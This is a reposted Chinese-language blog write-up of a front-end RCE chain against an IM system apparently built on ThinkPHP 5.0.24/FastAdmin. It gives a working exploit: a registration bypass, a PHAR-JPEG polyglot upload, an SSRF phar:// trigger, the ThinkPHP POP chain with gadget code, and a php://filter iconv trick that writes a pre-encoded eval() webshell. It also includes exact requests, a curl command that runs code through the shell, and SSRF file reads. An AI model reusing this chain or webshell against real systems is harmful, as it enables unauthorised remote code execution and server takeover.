文章总结: 本文详细分析某涉案IM系统(ThinkPHP5.0.24/FastAdmin2.5.1)前台无条件RCE漏洞利用链。通过注册绕过(os=pc)获取权限,利用上传接口校验不足上传PHAR-JPEG混合文件,结合SSRF漏洞触发phar反序列化,最终通过ThinkPOP链实现webshell写入。关键发现包括三个漏洞点的串联利用和Windows/Pivot反序列化链的实战应用。 综合评分: 85 文章分类: 渗透测试,漏洞分析,WEB安全,红队,实战经验
0x04 漏洞二:上传校验不足 —— /api/common/upload
application/api/controller/Common.php 的 upload() 方法:
// Common.php line 59-83
$upload= [
'mimetype' =>'jpg,png,bmp,jpeg,gif,zip,rar,xls,xlsx',
'savekey' =>'/uploads/{year}{mon}{day}/{filemd5}{.suffix}',
// ...
];
校验逻辑只看后缀名是不是在白名单里。jpg 在白名单中,后缀校验通过。上传后存到 /uploads/YYYYMMDD/{filemd5}.jpg,路径完全可预测。
关键问题:只校验后缀,不检查文件内容。一个PHAR文件,只要后缀是 .jpg,就能直接传上去。后面会利用这一点上传 PHAR-JPEG polyglot。
0x05 漏洞三:注册绕过 —— os=pc
看 User.php 的 register() 方法(line 809),注册流程中会根据 os 参数判断客户端类型:
$os=$this->request->request('os', '');
$client=!empty($os) ?$os : $clients;
当 $client == "pc" 时走PC端流程,不需要手机验证码。直接 POST /api/user/register 带上 os=pc 就能注册账号,用于后续获取上传接口的认证token。
0x06 ThinkPHP 5.0.24 POP链分析
上面找到了SSRF(触发点)、上传(payload投递),下一步就是构造PHAR里的反序列化payload。ThinkPHP 5.0.24有一条经典的POP链,终点是往磁盘写PHP文件。
链的入口:Windows::__destruct
thinkphp/library/think/process/pipes/Windows.php:
classWindowsextendsPipes
{
private$files= [];
publicfunction__destruct()
{
$this->close();
$this->removeFiles();
}
privatefunctionremoveFiles()
{
foreach ($this->filesas$filename) {
if (file_exists($filename)) { // $filename是对象时触发__toString
@unlink($filename);
}
}
}
}
$this->files 可控。当 $filename 是一个对象时,file_exists() 会隐式调用 __toString()。把 $this->files 设为 [Pivot对象] 就能跳到下一步。
Pivot::__toString → toArray
think\Model(Pivot的父类)的 __toString() 最终调用 toArray()。toArray() 里面有一段处理 $this->append 的逻辑(Model.php line 887-923):
if (!empty($this->append)) {
foreach ($this->appendas$key=>$name) {
// ...
$relation=Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation=$this->$relation();
$value=$this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr=$modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttras$key=>$attr) {
$key=is_numeric($key) ?$attr : $key;
if (isset($this->data[$key])) {
thrownewException('bindattr has exists:' . $key);
} else {
$item[$key] =$value?$value->getAttr($attr) : null;
// ^^^^^^^^^^^^^^^^
// $value是Output对象,没有getAttr方法
// 触发Output::__call('getAttr', ...)
}
}
}
}
}
}
}
设 $this->append = ['getError'],Pivot有 getError() 方法(返回 $this->error),$this->error 设为一个 HasOne 关系对象。
getRelationData() 这里有个关键判断(Model.php line 639-651):
protectedfunctiongetRelationData(Relation$modelRelation)
{
if ($this->parent&&!$modelRelation->isSelfRelation()
&&get_class($modelRelation->getModel()) ==get_class($this->parent)) {
$value=$this->parent; // 直接返回parent
} else {
$value=$modelRelation->getRelation();
}
return$value;
}
控制 $this->parent 为 Output 对象,HasOne::isSelfRelation() 返回 false,类名匹配条件满足后,$value 就是这个 Output 对象。
然后遍历 bindAttr,调用 $value->getAttr($attr)——但 Output 没有 getAttr 方法,触发 __call。
Output::__call → Memcached::write
think\console\Output 的 __call 实现(Output.php line 209-220):
publicfunction__call($method, $args)
{
if (in_array($method, $this->styles)) {
array_unshift($args, $method);
returncall_user_func_array([$this, 'block'], $args);
}
// ...
}
$this->styles 设为 ['getAttr'],匹配成功后调用 block('getAttr', 'no'):
protectedfunctionblock($style, $message)
{
$this->writeln("<{$style}>{$message}</$style>");
}
输出 <getAttr>no</getAttr>,经过 writeln() → write() → $this->handle->write()。
$this->handle 设为 Memcached 对象(think\session\driver\Memcached,不是PHP的ext-memcached扩展):
// think\session\driver\Memcached line 100-103
publicfunctionwrite($sessID, $sessData)
{
return$this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']);
}
$this->handler 设为 File 缓存驱动对象,$sessID 就是那个 <getAttr>no</getAttr> 字符串。
File::set —— 终点:写文件
think\cache\driver\File 的 set() 方法(File.php line 141-167):
publicfunctionset($name, $value, $expire=null)
{
$filename=$this->getCacheKey($name, true);
// getCacheKey: $this->options['path'] . md5($name) . '.php'
$data="<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . serialize($value);
$result=file_put_contents($filename, $data);
if ($result) {
isset($first) &&$this->setTagItem($filename); // 第二次写文件
// ...
}
}
$this->options['path'] 完全可控。set() 干了两件事:
- 写主缓存文件:文件名 =
path + md5($name) + '.php',内容 =<?php exit();?>前缀 +serialize(true)即b:1; - 调用
setTagItem($filename):把主缓存文件的完整路径作为值,写到tag文件里
setTagItem() 在父类 Driver 中(Driver.php line 188-202):
protectedfunctionsetTagItem($name)
{
if ($this->tag) {
$key='tag_' . md5($this->tag);
$this->tag=null;
// ...
$value=$name; // $name是主缓存文件的完整路径
$this->set($key, $value, 0); // 再调一次set()
}
}
tag文件的内容 = <?php exit();?> 前缀 + serialize(主缓存文件路径)。
问题来了:exit()
不管是主缓存文件还是tag文件,内容开头都有 <?php\n//000000000000\n exit();?>\n。直接HTTP访问这些文件会执行到 exit() 就结束了,后面的 webshell 代码永远跑不到。
所以关键在于:$this->options['path'] 可以设为 php://filter/write=XXX/resource=... 的形式,利用PHP流过滤器在写入时对内容做变换,把 exit() 搞掉。
0x07 绕 exit()
第一次:string.rot13(失败)
思路:ROT13把 <?php exit();?> 变成 <?cuc rkvg();?>,正常情况下不被PHP执行。
path = php://filter/write=string.rot13/resource=/www/wwwroot/admin/public/shell
写入后文件内容变成:
<?cuc
//000000000000
rkvg();?>
但是服务器 short_open_tag=On。<?cuc 被PHP解析为短开标签 <? cuc,然后 rkvg() 是个未定义函数,直接 Fatal Error。webshell 代码在后面根本跑不到。
ROT13方案在 short_open_tag=Off 的环境下可行,但这台服务器开了短标签,直接废了。
第二次:strip_tags + base64-decode(失败)
经典的两级过滤器方案:
path = php://filter/write=string.strip_tags|convert.base64-decode/resource=/www/.../PAYLOAD
原理:
string.strip_tags把<?php ... ?>标签整个删掉,包括exit()convert.base64-decode把剩余内容做base64解码,提取出预埋的webshell
构造的 webshell 是 <?php eval($_POST[x]);(24字节,24%3=0,base64不带padding)。base64编码后 PD9waHAgZXZhbCgkX1BPU1RbeF0pOyAg,不含 + 和 =。
payload嵌入到path的 resource= 后面,写入时base64解码还原出webshell。
测试结果:主缓存文件正常,tag文件为空。
主缓存文件的值是 serialize(true) = b:1;,不含 =,base64解码正常,写入后HTTP 200,返回1个字节 o(base64残留解码结果),符合预期。
但tag文件的值是主缓存文件的完整路径,类似:
s:151:"php://filter/write=string.strip_tags|convert.base64-decode/resource=/www/wwwroot/admin/public/PD9waHAgZXZhbCgkX1BPU1RbeF0pOyAg<md5>.php";
路径里包含 write= 和 resource= 两个等号。convert.base64-decode 流过滤器是逐块处理的,遇到 = 会当作base64 padding,导致后续数据解码错位,最终输出为空。
在本地PHP 8.5和远程PHP 7上都验证了这个行为。base64方案在tag文件这一步彻底失败。
第三次:convert.iconv.UCS-2LE.UCS-2BE(成功)
换一个完全不同的思路。UCS-2是一种2字节定长编码,UCS-2LE 和 UCS-2BE 之间转换就是把每2个字节互换位置。
path = php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=/www/.../PRE_ENCODED_SHELL
原理很简单:
原始内容: <?php exit();?>
十六进制: 3C 3F 70 68 70 20 65 78 69 74 ...
字节交换后: 3F 3C 68 70 20 70 78 65 74 69 ...
文本: ?<hp pxeti ...
?< 不是PHP开标签(需要 <?),所以 exit() 这行被搅碎了,PHP不会执行。
然后在路径中嵌入”预编码”的webshell——就是把目标webshell做一次字节交换:
目标shell: <?php eval($_POST[x]);die();?>
3C 3F 70 68 70 20 65 76 61 6C ...
预编码: ?<hp pvela$(P_SO[T]x;)id(e;)>?
3F 3C 68 70 20 70 76 65 6C 61 ...
写入时经过 iconv 字节交换,预编码的shell被还原成正确的PHP代码。
完整的写入文件内容示意:
写入前(原始):
<?php\n//000000000000\n exit();?>\n + serialize(...)
~~~~ exit前缀 ~~~~ ~~路径中包含预编码shell~~
iconv字节交换后:
?<hp p...(乱码,非PHP)... <?php eval($_POST[x]);die();?> ...(乱码)
^^^^^^^^^^^^^^^^^^^^^^^^^^^
还原出来的webshell
PHP解析时,前面的乱码不是 <? 开头,被当作普通文本忽略。碰到 <?php eval(...) 时进入PHP模式。die() 确保执行完 eval 后立刻结束,后面的乱码不会被解析。最后的 ?> 关闭PHP块,再后面的内容当HTML处理。
关于 die() 和 ?> 的必要性
第一次尝试 iconv 时,shell 写的是 <?php eval($_POST[x]);die();(没有 ?>)。结果PHP解析器把shell后面的乱码字节也当PHP代码去解析,触发了 Parse Error,整个文件不可执行。
加上 ?> 关闭标签后:
<?php eval($_POST[x]);die();?>—— PHP块正确关闭- 后续乱码被当作HTML文本,不影响PHP执行
die()阻止PHP输出乱码HTML
字节对齐
UCS-2要求处理的数据长度是偶数。写入的总内容包括:
exit前缀 "<?php\n//000000000000\n exit();?>\n" = 32字节
serialize头 = 7字节
filter URL前半段 = 84字节
padding "_" = 1字节
合计 = 124字节(偶数)
预编码shell从第124字节开始,偏移为偶数,交换后能正确还原。总内容192字节,也是偶数。
如果不加那个 _ padding,总长度是奇数,最后一个字节没有配对,整个iconv转换就会出错。
0x08 PHAR-JPEG Polyglot
上传接口只接受图片后缀,而且上传后会调用 getimagesize() 校验。所以PHAR文件需要同时是合法的JPEG。
做法是用GD库生成一个1×1的JPEG,取其二进制内容(去掉末尾2字节EOI标记),再拼接上PHAR的 __HALT_COMPILER() 标记作为stub:
$im=imagecreatetruecolor(1, 1);
$jpg_path=tempnam('/tmp', 'jpg_');
imagejpeg($im, $jpg_path);
$jpeg=file_get_contents($jpg_path);
$stub=substr($jpeg, 0, -2) . '<?php __HALT_COMPILER(); ?>';
$phar=newPhar($phar_path);
$phar->setStub($stub);
$phar->setMetadata($windows); // POP链根对象
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
生成的文件:
getimagesize()识别为 1×1 image/jpeg(JPEG头完整)- PHP PHAR引擎能正确解析(
__HALT_COMPILER()标记存在) - 后缀
.jpg通过上传白名单
0x09 open_basedir的影响
服务器配置了 open_basedir = /www/wwwroot/admin/:/tmp/。这个限制对攻击链的每个环节影响如下:
SSRF读文件:file_get_contents('file:///etc/passwd') 会被拦。但 /www/wwwroot/admin/ 正好包含了整个项目目录,所有源码和框架文件都能读。/tmp/ 可以用来读临时文件。对审计来说完全够用。
PHAR写文件:file_put_contents() 写文件受 open_basedir 限制。但 webroot /www/wwwroot/admin/public/ 就在 /www/wwwroot/admin/ 的子目录下,在允许范围内。如果 webroot 不在 open_basedir 列表里,这条链就断了。
webshell执行: shell落地后,eval() 内能操作的文件也局限在这两个目录。要读 /etc/passwd 之类的需要先绕 open_basedir(chdir+ini_set技巧或者glob://),但这不影响RCE本身。
结论:open_basedir没有挡住这条攻击链。 因为webroot恰好在允许列表内。如果管理员把 open_basedir 设成 /www/wwwroot/admin/runtime/:/tmp/ 之类不包含 public/ 的路径,POP链就写不进webroot了——当然那样网站自己也跑不了。
0x0A SSRF的复合利用
这次审计中,SSRF不只是用来触发PHAR的。整个过程中用了好几次:
1. 读源码辅助审计
通过 file:// 协议把服务端源码拉下来分析。open_basedir 内的文件都能读:
GET /api/image/image?url=file:///www/wwwroot/admin/thinkphp/library/think/cache/driver/File.php
这样拿到了 File::set() 的源码,确认了 exit 前缀的格式和 setTagItem() 的行为。
2. 探测服务端配置
GET /api/image/image?url=file:///www/wwwroot/admin/public/.user.ini
发现 .user.ini 存在且被 chattr +i 保护(不可修改),排除了通过 auto_prepend_file 注入webshell的路径。
3. 触发PHAR反序列化
GET /api/image/image?url=phar:///www/wwwroot/admin/public/uploads/20260427/xxx.jpg/test.txt
file_get_contents('phar://...') 解析PHAR文件,自动反序列化metadata中的对象,触发 __destruct,启动POP链。
4. 验证文件写入
GET /api/image/image?url=file:///www/wwwroot/admin/public/_?<hp pvela...12ac95f...php
通过 file:// 读取刚才写入的shell文件,确认文件是否落地、内容是否正确。
0x0B 完整利用流程
Step 1:注册账号
POST /api/user/register
account=test123&password=test1234&os=pc
os=pc 走PC端流程,跳过手机验证码。拿到token用于后续请求认证。
Step 2:生成PHAR-JPEG
用PHP脚本生成。POP链参数:
$file_cache=new\think\cache\driver\File([
'expire' =>0,
'cache_subdir' =>false,
'prefix' =>'',
'path' =>'php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=/www/wwwroot/admin/public/_?<hp pvela$(P_SO[T]x;)id(e;)>?',
'data_compress'=>false,
], 'xxx'); // tag名 = 'xxx'
path 分解:
php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=—— 流过滤器声明/www/wwwroot/admin/public/—— webroot_—— 对齐padding?<hp pvela$(P_SO[T]x;)id(e;)>?—— 预编码的webshell
Step 3:上传
POST /api/common/upload
Content-Type: multipart/form-data
file=@phar_rce.jpg (Content-Type: image/jpeg)
→ {"data": {"url": "/uploads/20260427/abc123def456.jpg"}}
Step 4:SSRF触发
GET /api/image/image?url=phar:///www/wwwroot/admin/public/uploads/20260427/abc123def456.jpg/test.txt
返回HTTP 500是正常的——POP链执行过程中抛了异常,但文件已经写入磁盘了。
Step 5:访问webshell
文件名计算:
- tag名
xxx→md5('xxx')=b165eb... - tag key =
tag_+md5('xxx')=tag_b165eb... - tag hash =
md5('tag_b165eb...')=12ac95f1498ce51d2d96a249c09c1998
shell在磁盘上的路径:
/www/wwwroot/admin/public/_?<hp pvela$(P_SO[T]x;)id(e;)>?12ac95f1498ce51d2d96a249c09c1998.php
HTTP访问(特殊字符URL编码):
curl-X POST "http://target:1000/_%3F%3Chp%20pvela%24%28P_SO%5BT%5Dx%3B%29id%28e%3B%29%3E%3F12ac95f1498ce51d2d96a249c09c1998.php" \
-d'x=echo php_uname();'
返回:
Linux im163 6.1.56-82.125.amzn2023.x86_64 #1 SMP ...
RCE成功。
0x0C Shell信息
URL: http://x x x x:1000/_%3F%3Chp%20pvela%24%28P_SO%5BT%5Dx%3B%29id%28e%3B%29%3E%3F12ac95f1498ce51d2d96a249c09c1998.php
方法: POST
参数: x=<PHP代码>
示例: x=echo php_uname();
注意 system() / exec() 等被 disable_functions 禁了,需要另外绕过(LD_PRELOAD / FFI / iconv trick 等),不在本文范围内。
0x0D 踩坑记录
| 问题 | 现象 | 原因 | 解决 |
| — | — | — | — |
| ROT13写shell无法执行 | 访问shell返回500 Fatal Error | short_open_tag=On,<?cuc 被当短标签解析 | 放弃ROT13 |
| base64解码tag文件为空 | 主文件正常(1字节),tag文件0字节 | php://filter路径中的 = 号干扰base64流解码 | 放弃base64 |
| iconv写shell后Parse Error | 访问shell返回500 | shell没关 ?>,后面乱码被当PHP解析 | 加 ?> 关闭标签 + die() |
| UCS-2字节对齐错误 | 文件内容乱码 | 总字节数为奇数,最后一字节没配对 | 加 _ padding凑偶数 |
| shell编码后含有 / 或 \0 | 文件名非法 | 某些PHP代码交换后产生路径分隔符或空字节 | 调整shell内容确保预编码安全 |
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:秋风的安全之路 秋风 秋风《一次案件前台RCE审计》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论